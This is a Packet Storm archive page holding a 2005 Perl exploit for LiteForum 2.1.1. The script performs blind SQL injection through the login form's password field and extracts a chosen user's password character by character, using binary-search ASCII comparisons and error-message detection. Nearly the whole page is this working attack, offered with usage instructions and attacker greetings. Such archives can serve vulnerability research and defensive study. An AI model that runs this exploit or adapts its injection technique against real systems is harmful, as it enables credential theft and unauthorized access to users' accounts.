exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

r57lite211.txt

r57lite211.txt
Posted Feb 6, 2005
Authored by 1dt.w0lf | Site rst.void.ru

LiteForum version 2.1.1 SQL injection exploit with one char bruteforce.

tags | exploit, sql injection
SHA-256 | 40746b70c57b6cd7eccff85b84ff592efd5ba6e911b74ca4c0dc26104e4c031b

r57lite211.txt

Change Mirror Download
#!/usr/bin/perl

use LWP::UserAgent;

## LiteForum 2.1.1 (http://www.softtime.ru)
## sql injection exploit
## work on all mysql versions
## by 1dt.w0lf
## RusH security team (http://rst.void.ru)
## ---------------------------------------
## greets 2:
## ghc (www.ghc.ru)
## Gh0st Security Team (http://gst.void.ru) heya Ch0ke7 and off couse "re ine" ;)
## 0xdeadbabe Security Research (0xdeadbabe.blackhatz.info)
## 10x to cr0n for idea abour kewl haxor "username" =)))

$path = $ARGV[0];
$userid = $ARGV[1];

$|++;
$s_num = 1;

if (@ARGV < 2) { &usage; }
if ($ARGV[1]=~/[^0-9]/) { print "stupid! \"".$ARGV[1]."\" is not number!"; exit(); }
print " Please wait...\r\n";
print " Progress : [";

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
if ($i=="0")
{
if(length($allchar)>0)
{
print qq|]

USER_ID: $userid
USER_PASS: $allchar
|;
}
else
{
print qq|]
Forum not vulnerable or user ID is incorrect|;
}

exit();


}
else
{
print "#";
$allchar .= chr($i);
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
$ccheck = $_[0];

$lite_f = LWP::UserAgent->new() or die;
$res = $lite_f->post("$path",
[
"author" => "i_am_kewl_hakka_FATAL_ERROR_blyat\\",
"pswrd" => " OR (id_author=".$userid." AND (ascii(substring(passw,".$s_num.",1))".$ccheck.")) /*"
]
);
@results = $res->content;

foreach $result(@results)
{
#print $result."\r\n";
if ($result =~ /Error/) { return 1; }
}
return 0;
}

sub usage {
print q|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
LiteForum 2.1.1 sql injection exploit with one char bruteforce
by RusH security team (www.rst.void.ru)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Usage: r57lite211.pl [path] [id]

[path] - path to enter.php (http://host.com/forum/enter.php)
[id] - user ID to bruteforce (1,2,3...)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|;
exit();
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close